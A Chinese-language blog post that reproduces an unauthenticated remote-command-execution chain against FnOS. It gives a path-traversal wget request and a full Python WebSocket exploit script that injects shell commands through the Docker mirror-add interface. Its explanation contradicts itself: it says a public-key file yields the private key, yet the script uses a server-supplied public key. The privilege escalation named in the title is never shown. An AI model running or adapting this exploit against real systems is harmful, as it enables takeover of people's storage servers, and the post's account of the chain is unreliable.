首頁 » 部落格 » FnOS 漏洞鏈復現 + 提權 [切換主題] [English] [简体]

FnOS 漏洞鏈復現 + 提權

FnOS


目標機器:10.10.10.10

漏洞鏈總覽

路徑穿越 → 讀取任意檔案(獲取 RSA 私鑰)

利用 RSA 私鑰偽造加密通道 → 繞過認證 + 命令注入

最終效果:未授權 RCE(遠端命令執行)

步驟 1 – 路徑穿越讀取 RSA 私鑰

介面/app-center-static/serviceicon/myapp/... 未過濾路徑穿越,可讀取任意檔案。

使用 wget "https://10.10.10.10:8000/app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../usr/trim/etc/rsa_public_key.pem" \ -O rsa_private_key.pem --no-check-certificate 輸出 RSA 私鑰

步驟 2 – 利用私鑰偽造加密 WebSocket 通道執行命令

利用獲取到的 RSA 私鑰,構造客戶端 → 服務端 的加密資料包,在 appcgi.dockermgr.systemMirrorAdd 介面的 url 引數實現命令注入。下面是完整的攻擊指令碼:


import websocket
import json
import time
import base64
import argparse
import sys
from Cryptodome.PublicKey import RSA
from Cryptodome.Cipher import PKCS1_v1_5, AES
from Cryptodome.Util.Padding import pad
from Cryptodome.Random import get_random_bytes
# --- 目標配置 ---
TARGET_URL = "ws://10.10.10.10:8000/websocket?type=main"
# 攻擊負載
CMD_TO_EXECUTE = ""
EXPLOIT_PAYLOAD_URL = f"http://10.10.10.10:8000 ; {CMD_TO_EXECUTE} ; /usr/bin/echo "
class TrimEncryptedExploit:
    def __init__(self):
        self.ws = None
        self.si = ""
        self.server_pub_key = ""
        self.step = 0
    def get_reqid(self):
        return str(int(time.time() * 100000))
    def create_encrypted_packet(self, inner_json_dict):
        """
        構造 { "req": "encrypted", ... } 資料包
        """
        try:
            # 1. 生成臨時的 AES-256 Key 和 IV
            aes_key = get_random_bytes(32)
            aes_iv = get_random_bytes(16)
            # 2. 序列化內部 Payload
            # 注意:separators 去除空格
            inner_data = json.dumps(inner_json_dict, separators=(',', ':')).encode('utf-8')
            # 3. AES 加密 Payload (CBC + PKCS7 Padding)
            cipher_aes = AES.new(aes_key, AES.MODE_CBC, aes_iv)
            encrypted_body = cipher_aes.encrypt(pad(inner_data, AES.block_size))
            # 4. RSA 加密 AES Key (使用伺服器公鑰)
            # 這樣伺服器收到後,能用它的私鑰解出我們的 AES Key
            rsa_key_obj = RSA.import_key(self.server_pub_key)
            cipher_rsa = PKCS1_v1_5.new(rsa_key_obj)
            encrypted_aes_key = cipher_rsa.encrypt(aes_key)
            # 5. 組裝最終包
            wrapper = {
                "req": "encrypted",
                # "reqid": self.get_reqid(), # 外層通常不需要 reqid,如果需要可取消註釋
                "iv": base64.b64encode(aes_iv).decode('utf-8'),
                "rsa": base64.b64encode(encrypted_aes_key).decode('utf-8'),
                "aes": base64.b64encode(encrypted_body).decode('utf-8')
            }
            return json.dumps(wrapper, separators=(',', ':'))
        except Exception as e:
            print(f"加密構造失敗: {e}")
            return None
    def on_open(self, ws):
        print(f"\n[1/2] 連線建立,請求公鑰...")
        # 步驟 1: 拿公鑰和 SI
        payload = {
            "reqid": self.get_reqid(),
            "req": "util.crypto.getRSAPub"
        }
        ws.send(json.dumps(payload))
        self.step = 1
    def on_message(self, ws, message):
        try:
            # 簡單解析
            if message.startswith('{'):
                data = json.loads(message)
            elif message.find('{') > -1:
                data = json.loads(message[message.find('{'):])
            else:
                return
            # --- 步驟 1: 獲取公鑰和 SI ---
            if self.step == 1 and "pub" in data:
                self.server_pub_key = data["pub"]
                self.si = str(data["si"])
                print(f" [1/2] 握手成功")
                print(f"    SI: {self.si}")
                print(f"    Pub Key 獲取成功 ({len(self.server_pub_key)} bytes)")
                # --- 步驟 2: 傳送加密的 Exploit ---
                self.send_exploit(ws)
                self.step = 2
                return
            # --- 步驟 2: 接收結果 ---
            if self.step == 2:
                print(f"\n [2/2] 收到響應:\n{json.dumps(data, indent=2)}")
                if data.get("result") == "succ" or data.get("errno") == 0:
                    print(f"\n[+] 攻擊成功!命令已透過加密通道傳送。")
                    print(f"[+] 請檢查伺服器檔案: {CMD_TO_EXECUTE}")
                else:
                    print(f"\n[-] 攻擊失敗,錯誤碼: {data.get('errno')}")
                ws.close()
        except Exception as e:
            print(f" 異常: {e}")
            ws.close()
    def send_exploit(self, ws):
        print(f"\n[*] 正在構造加密 Exploit 包...")
        print(f"[*] 注入命令: {CMD_TO_EXECUTE}")
        inner_payload = {
            "req": "appcgi.dockermgr.systemMirrorAdd",
            "reqid": self.get_reqid(),
            "url": EXPLOIT_PAYLOAD_URL,
            "name": "EncryptedExploit",
            "si": self.si
        }
        print(f"[*] 內部 Payload: {json.dumps(inner_payload)}")
        packet = self.create_encrypted_packet(inner_payload)
        if packet:
            print(f"[>] 傳送加密包 (Len: {len(packet)})...")
            ws.send(packet)
    def run(self):
        self.ws = websocket.WebSocketApp(TARGET_URL,
                                         on_open=self.on_open,
                                         on_message=self.on_message)
        self.ws.run_forever()
if __name__ == "__main__":
    print("=== Trim 協議加密通道未授權 RCE 利用工具 ===")
    exploit = TrimEncryptedExploit()
    exploit.run()

« Carpet 規則啟用概覽 返回主頁 盤龍閣·伺服器 »